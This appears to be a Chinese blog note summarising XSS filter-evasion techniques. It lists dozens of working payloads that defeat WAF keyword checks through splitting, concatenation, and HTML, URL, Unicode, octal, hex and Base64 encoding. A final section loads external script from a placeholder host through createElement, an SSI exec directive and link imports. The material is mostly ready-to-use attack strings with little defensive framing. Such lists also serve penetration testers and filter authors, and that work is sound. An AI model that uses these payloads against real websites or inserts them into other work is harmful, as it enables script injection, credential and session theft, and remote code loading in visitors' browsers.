繞過XSS過濾姿勢總結
- 2020 年 4 月 19 日
- 筆記
- Penertration Test Knowledge
0x01 彈窗關鍵字檢測繞過
基本WAF都針對常用的彈窗函數做了攔截,如alert()、prompt()、confirm(),另外還有代碼執行函數eval(),想要繞過去也比較簡單,我們以alert(『xss』)為例,其實只需要分割alert和()即可,例如:
添加空格、TAB、回車、換行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注釋:alert/*abcd*/(/xss/)
添加註釋換行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用`代替():alert`xss`
使用括號分割:(alert)(/xss/)、((alert))(/xss/)
使用window和top:
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>
另外還可以通過以下方式繞過WAF:
<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
另外還可以通過異常處理
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
eval(string)參數為字符串,可以拼接關鍵字繞過檢測。
<svg/onload=eval('ale'+'rt(1)')>
另外跳轉中也可以使用關鍵字拼接
<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
0x02 編碼繞過
- html實體編碼
<iframe src=javascript:alert(1)>
html標籤中支持十進制,例如:
<iframe src=javascript:alert(1)>
十六進制,例如:
<iframe src=javascript:alert(1)>
可以不帶分號
<iframe src=javascript:alert(1)>
可以填充0
<iframe src=javascript:alert(1)>
繞過關鍵字過濾
1.<iframe src=javas	cript:alert(1)></iframe> //Tab
2.<iframe src=javas
cript:alert(1)></iframe> //回車
3.<iframe src=javas
cript:alert(1)></iframe> //換行
4.<iframe src=javascript:alert(1)></iframe> //編碼冒號
5.<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的實體命名編碼,IE6、7下不支持
- URL編碼
<a href="{here}">xx</a>
<iframe src="{here}">
當輸出環境在href或者src時,是可以通過javascript偽協議來執行JS的,例如
<iframe src=」javascript:alert(1)」>test</iframe>
同樣src中是可以進行URL編碼的,需要注意協議頭javascript:
不能編碼,否則JS無法執行。
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
可以二次URL編碼
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
這裡結合一下上面說16進制編碼
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
- javascript編碼
常用的是Unicode編碼
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
另外還有八進制和十六進制
1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
有的WAF攔截了eval()同樣可以使用上面提到的alert()繞過的方式,如注釋、注釋換行等
同樣也可以使用window[『eval』]
1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
- Base64編碼
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
需要注意內容是可以做實體編碼。不影響XSS執行。
1.<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
2.<iframe srcdoc="<script>alert(1)</script>"></iframe>
另外還可以使用atob函數
1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
- 其他
String.fromCharCode:
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
這裡針對HTML編碼、URL編碼、Unicode編碼還涉及到一個解碼順序的問題:
我們以<a href=javascript:alert(1)>Click</a>
為例
根據上面的例子,我們可以使用三種編碼:
HTML編碼:
<a href=javascript:alert(1)>Click</a>
Unicode編碼:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
URL編碼:
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
然後我們把這三種解碼結合起來:Unicode編碼 -> URL編碼 -> HTML編碼
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
發現同樣是可以彈窗的。
0x03 引入外部JS
通過在<script>
標籤中引入其他字符繞過
1.<script/src='1.js'/~~234*234></script ~~234*234>
2.onfocus='a=document.createElement("script");a.src="//x.x.x.x";body.appendChild(a);'
3.onfocus='a=document.createElement("scr"+"ipt");a.src="//x.x.x.x";body.appendChild(a);' //拆分關鍵字
4.<!--#exec%20cmd="/bin/echo%20'<SCRIPT%20SRC'"--><!--#exec%20cmd="/bin/echo%20'=//x.x.x.x/a.js></SCRIPT>'"--> //SSI
5.<link%20rel=import%20href="2.js">
編碼轉換工具://bianma.51240.com/